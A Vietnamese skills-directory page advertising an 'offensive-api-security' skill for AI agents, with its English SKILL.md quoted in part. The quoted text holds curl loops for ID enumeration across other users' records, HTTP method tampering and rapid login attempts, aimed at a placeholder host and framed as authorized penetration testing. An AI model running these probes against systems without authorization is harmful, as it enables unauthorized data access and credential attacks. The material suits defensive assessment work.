offensive-api-security
Skill này làm gì
Skill này là phương pháp kiểm thử bảo mật được ủy quyền cho API REST, gRPC và WebSocket. Nó bao quát OWASP API Security Top 10, gồm truy cập đối tượng, xác thực và gán hàng loạt (mass assignment). Nó dành cho chuyên gia bảo mật kiểm thử API trong phạm vi đã thống nhất.
Khi nào nên dùng
- ✓Khi bạn kiểm thử một API để tìm lỗi truy cập đối tượng hoặc IDOR trong một đánh giá được ủy quyền.
- ✓Khi bạn muốn kiểm tra một API REST, gRPC hoặc WebSocket theo OWASP API Top 10.
- ✓Khi bạn cần kiểm thử giới hạn tốc độ, gán hàng loạt hoặc SSRF trong một bài kiểm thử API đã ký duyệt.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-security/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi có văn bản cho phép kiểm thử API REST của mình. Kiểm tra xem có lỗi truy cập ở cấp độ đối tượng không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill lập bản đồ bề mặt API, rồi kiểm thử xác thực, truy cập đối tượng giữa các tài khoản người dùng, ranh giới vai trò và cách xử lý tham số. Nó ghi lại từng phát hiện kèm các bước tái hiện và mức độ nghiêm trọng.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
Quick Workflow
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Replay with a different user ID while retaining the original token:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Automate IDOR testing across sequential and UUID-based identifiers:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
Broken Authentication and Excessive Data Exposure
Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
Test token validation weaknesses:
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://ta
Câu hỏi thường gặp
BOLA là gì?
Đó là lỗi phân quyền ở cấp độ đối tượng, nơi người dùng có thể truy cập đối tượng của người khác bằng cách đổi mã định danh.
Nó có bao quát gRPC và WebSocket không?
Có. Nó bao gồm kiểm thử gRPC reflection và metadata, cùng kiểm tra origin và thông điệp của WebSocket.
Nó có cần phạm vi đã thống nhất không?
Có. Skill giả định bạn đã có văn bản ủy quyền và phạm vi xác định trước khi kiểm thử.
Chi tiết
Mô tả gốc của tác giả
Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11946
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-jwt
10kKiểm thử token đăng nhập JWT để tìm lỗi bảo mật được ủy quyền, như ký yếu và nhầm lẫn thuật toán.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.